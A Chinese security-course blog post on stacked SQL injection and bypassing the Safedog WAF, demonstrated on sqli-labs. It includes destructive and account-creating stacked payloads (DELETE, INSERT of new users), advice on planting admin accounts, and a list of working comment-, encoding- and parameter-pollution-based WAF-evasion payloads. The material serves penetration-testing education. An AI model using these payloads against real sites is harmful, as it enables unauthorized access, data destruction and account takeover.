《小迪安全》第18天 SQL注入:堆叠注入,WAF绕过注入

堆叠查询注入

Stacked Injections(堆叠注入),从名词的含义就可以看到应该是一堆(多条)sql语句一起执行。在真实的运用中也是这样的,在mysql 中,每一条语句结尾加 ';' 表示语句结束。union injection(联合注入)也是将两条语句合并在一起,两者之间区别就在于 union 或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如:

用户输入: 
1; DELETE FROM products 
因未对输入的参数进行过滤,服务器端生成的 sql 语句为: 
Select * from products where productid=1; DELETE FROM products

当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

局限性

只产生在部分数据库,并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎

不支持的限制。

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服务器在访问数据端时使用的是可同时执行多条sql语句的方法,如php中 mysqli_multi_query() 函数,该函数支持同时执行多条sql语句,而与之对应的 mysqli_query() 函数一次只执行一条 sql 语句。要想实施堆叠注入,在目标没有对堆叠注入进行黑名单过滤的情况下,必须存在类似于 mysqli_multi_query() 的函数。总结下来就是:

目标存在sql注入漏洞
目标未对";"号进行过滤
目标中间层查询数据库信息时可同时执行多条sql语句

实例演示

以 Sqli-labs/less-38 为例。


 

// take the variables 
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity
//mysql connections for stacked query examples.
$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
// Check connection
if (mysqli_connect_errno($con1))
{
    echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{
    @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
}

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
    /* store first result set */
    if ($result = mysqli_store_result($con1))
    {
        if($row = mysqli_fetch_row($result))
        {
            echo '<font size = "5" color= "#00FF00">';	
            printf("Your Username is : %s", $row[1]);
            echo "<br>";
            printf("Your Password is : %s", $row[2]);
            echo "<br>";
            echo "</font>";
        }
//            mysqli_free_result($result);
    }
        /* print divider */
    if (mysqli_more_results($con1))
    {
            //printf("-----------------\n");
    }
     //while (mysqli_next_result($con1));
}
http://127.0.0.1/Less-38/?id=1';insert into users(id,username,password) values('38','less38','hello')--+
mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
| 38 | less38   | hello      |
+----+----------+------------+
14 rows in set (0.00 sec)

堆叠注入核心就是针对非注册注入的 insert。应用场景:需要管理员权限时,无法解密密码,使用堆叠注入插入数据,创建管理员账号或UPDATE原管理员密码等……再用自己定义的账密登陆后台。很多网站后台权限划分时常见以组划分,插入数据时注意即可新建管理员权限的新账号。比如 dedecms 中的 dede_member 表,有 mtype 列,值为 'admin' 则为管理员。类似 Linux 文件系统的权限划分。

WAF绕过:SQL注入

参考 https://www.cnblogs.com/cute-puli/p/11146625.html

https://www.cnblogs.com/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filter.html

WAF绕过主要围绕下面三款市面主流WAF软件:宝塔、安全狗、阿里云盾,需要搭建相应真实环境本机无法模拟(阿里云盾需要阿里云服务器)

WAF绕过主要在数据和提交方式上做文章,加上其他方式打配合。

数据:网站的参数数据,大部分过滤就是对数据的检测,对数据操纵进行过滤绕过;

提交方式:GET/POST/头注入;

其他方法:根据绕过的漏洞和注入的数据库不同的特性,垃圾数据/参数污染等等。

安全狗

防护能力不如其他,但免费,用的人多。

全部打开可能会误报,把正常的请求/资源访问拦截,为了网站正常运行+起到防护,安全狗初始安装会对某些防护进行默认关闭。

网站防护:漏洞防护(HTTP、上传)+文件防护(浏览、短文件名)

漏洞防护➡️HTTP安全检测,检测规则库(检测项目其实就是检测提交方法,GET/POST/HTTP头/COOKIE注入,有些提交方式检测项目仅检测URL即GET型注入,不对其他提交方式做检测,有操作空间):

还有对很多注入工具的拦截(sqlmap、nmap、穿山甲、havi扫描……:

资源防护:内容防护+资源防护+流量防护

内容防护:后台地址防护(防止扫描到后台)、资源防护(mdb文件和sql文件在没有防护时可以直接访问或下载,资源防护就是对特定资源做保护)

CC攻击防护:经常用工具对网站做扫描时候,工具一开网站就down了,其实是有流量攻击防护。根据ip地址请求的次数过多、过快,判定为黑客行为直接拦截。

WAF绕过是针对已知规则、特定漏洞进行尝试绕过,方法思路都不一样,针对规则。

检测规则都是代码实现的,检测的不全就有空子可钻。

接下来研究安全狗的具体绕过实例。

有条件可以搞个阿里云服务器,在上面开个安全狗

安全狗绕过示例一:默认拦截机制分析(未开CC攻击流量防护)

阿里云服务器(ip加州)开安全狗,开sqlilabs,访问并尝试注入发现遭遇拦截:http://39.96.44.170/sqlilabs/Less-2/?id=1 and 1=1

思路1:换提交方式。http://39.96.44.170/sqlilabs/Less-2/index.php,把id=1 and 1=1放到Post data payload里提交。

没有出现拦截但网页显示不正常:Please input ID as parameter with numeric value。代码决定参数的接受方式,只接受GET/都接受/……

看一下第二关的代码:只接受GET形式传递的ID值。采用POST发送是接受不到的,网站之所以显示上图是因为参数没接收到。提交方式注入绕过是有前提条件:代码支持你换的那种提交方式。

// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);


// connectivity 
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
echo $sql;
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else
		{ 	
		echo "Please input the ID as parameter with numeric value";
		}

?>

修改代码,然后再把id=1 and 1=1#放到Post data payload里提交注入:

// take the variables
if(isset($_REQUEST['id']))
{
$id=$_REQUEST['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);


// connectivity 
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
echo $sql;
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

正常传参了。再正常注入 id=-1 union select 1,database(),3#,被拦截,是因为安全狗漏洞防护- HTTP安全检测中的【防止查询数据库相关信息】开启了。

绕过WAF是多角度的一件事。

勾选掉【检测POST】,重启下安全狗,再次尝试查询就可以查到数据库名了。

这种改代码啊、改WAF防护软件过滤规则只是为了阐明:绕过WAF需要八仙过海各显神通,思路打开……

那么:如果更改提交方式后,想注入查询数据库名,还是被拦截,怎么办?

拦截的是【查询数据库信息】,属于数据层面,所以接下来我们从【提交方式】转战到【数据】层面。对数据进行相关的变异:大小写、加解密、编码解码(比如base64)、等价函数(比如说eval assert/mid ascii,起到相同的作用但可以用其他函数替换掉敏感函数)、特殊符号(比如 select !database(); select ~database(),加了特殊符号有可能绕过过滤规则的匹配机制,达到一个不干扰语句正常执行但成功绕过WAF的目的)、反序列化(把数据以反序列化的格式提交绕过,前提条件是对方代码支持反序列化)、注释符混用(通过注释符实现干扰匹配机制)

注释符和特殊符号具体数据库具体讨论,每个不一样

继续讨论:在waf拦截【查询数据库信息】时,怎样注入 database() 语句?拆分!

可以采用注释符:mysql特有注释符 /**/ 不影响语句执行

id=-1 union select 1,database/**/(),3#

安全狗会匹配到 database/**/() 而非过滤机制 database(),所以可以绕过。

接下来加大难度,id传递类型改回GET
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];

安全狗漏洞防护的HTTP安全拦截机制有非常多针对GET提交方式(URL)的过滤,所以更难了,少数针对POST形式的拦截,上面的演示属于钻空子了,接下来强制在GET上面做文章:

尝试注入:http://39.96.44.170/sqlilabs/Less-2/index.php?id=-1 union select 1,2,3#

被拦截。多尝试几次发现union不拦截,select也不拦截。应该是union select关键字被拦截。绕过思路:不让union和select在一起,并且保证语句执行。加上注释符:

%0a 是十六进制的换行符(URL编码)

%23 是十六进制的 # 号(其实这就是数据的编码解码+特殊符号+注释符)

?id=-1 union/**/ select 1,2,3#    被拦截
?id=-1/*%0a*/union/*%0a*/select/*%0a*/1,2,3#    被拦截
#部分bypass sql inject payload
id=1 union/*%00*/%23a%0A/*!/*!select 1,2,3*/;%23
id=-1 union/*%00*/%23a%0A/*!/*!select%201,database%23x%0A(),3*/;%23

id=-1%20union%20/*!44509select*/%201,2,3%23
id=-1%20union%20/*!44509select*/%201,%23x%0A/*!database*/(),3%23

id=1/**&id=-1%20union%20select%201,2,3%23*/    参数污染+特殊符号+注释符

id=-1 %20union%20all%23%0a%20select%201,2,3%23
-1 %20union%20all%23%0a20select%201,%230%0Adatabase/**/(),3%23
?id=-1 union%23a%0Aselect 1,2,3%23

注入成功:%23代表#,%0A代表换行符,a是加的字符。

为什么要加a?防止隔行匹配到union select然后拦截了。

为什么加a之后要加%0A换行?因为不换行的话,就把 #aselect 1,2,3# 注释掉了。

安全狗绕过示例二:参数污染(开启CC攻击流量防护)

概念理解:参数污染

以小迪本机(php+apache)示例,访问:127.0.0.1:8080/test.php?y=13&y=3

按照上图具体服务器端处理方式,PHP/Apache取的是最后一个参数,只取到3。

如果是JSP/Tomcat,就会取到12。

如果是Python/Apache,就会取到123。

<?php
$x=$_GET['y'];
echo $x;
?>

概念理解:语句前后加上/*!*/能正常执行,属于数据库特性
mysql>/*!select * from users*/;
id=1/**&id=-1%20union%20select%201,2,3%23*/    参数污染+特殊符号+注释符

id=1/**&id=-1%20union%20select%201,2,3%23*/ 能绕过安全狗注入成功。

由于是Apache环境,接受到的参数应为:id=-1%20union%20select%201,2,3%23*/

即为:id=-1 union select 1,2,3#*/  那么为什么前面要加 /**,并且去掉后就被拦截?

因为安全狗接受到的、匹配是否要过滤的是:1/**&id=-1 union select 1,2,3#*/ 或者 1/**-1 union select 1,2,3#*/ 

mysql中,/***/ 是一种块注释符,括在其中的语句都不执行。安全狗检测到的只是1。注释符包起来的直接不管,但参数污染导致Apache接受并送进数据库执行的是:id=-1 union select 1,2,3#*/

简单提下大纲中的【其他方法】:Fuzz大法

Fuzz大法:模糊测试,暴力测试,类似密码爆破,爆破到真实密码就登录成功,Fuzz也是类似的思路,比如之前的payload ?id=-1 union%23a%0Aselect 1,2,3%23 可以写脚本批量生成payload(比如把%0A改成%0B,%0C,%0D……)批量测试具体哪个payload没有被拦截,就视为绕过waf。Fuzz其实等同于写好字典批量化访问/使用工具生成payload,模拟手工不断测试,就是这样的一种思路。

unionselect.txt是现成的各种payload:

要么就是在union上做文章:

实际手工注入时候思路总会是狭隘的,把可能性全部写进脚本跑。

简易CMS头部注入漏洞绕过及原理分析

注入点出现在X-Forwarded-For字段(头部注入),因为安全狗HTTP安全检测里没有针对X-Forwarded-For字段的匹配过滤。

宝塔

一个一键化搭建工具,类似phpstudy,很多灰色网站用宝塔一键搭建。宝塔内部有防护插件。比安全狗难绕过。

阿里云盾

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值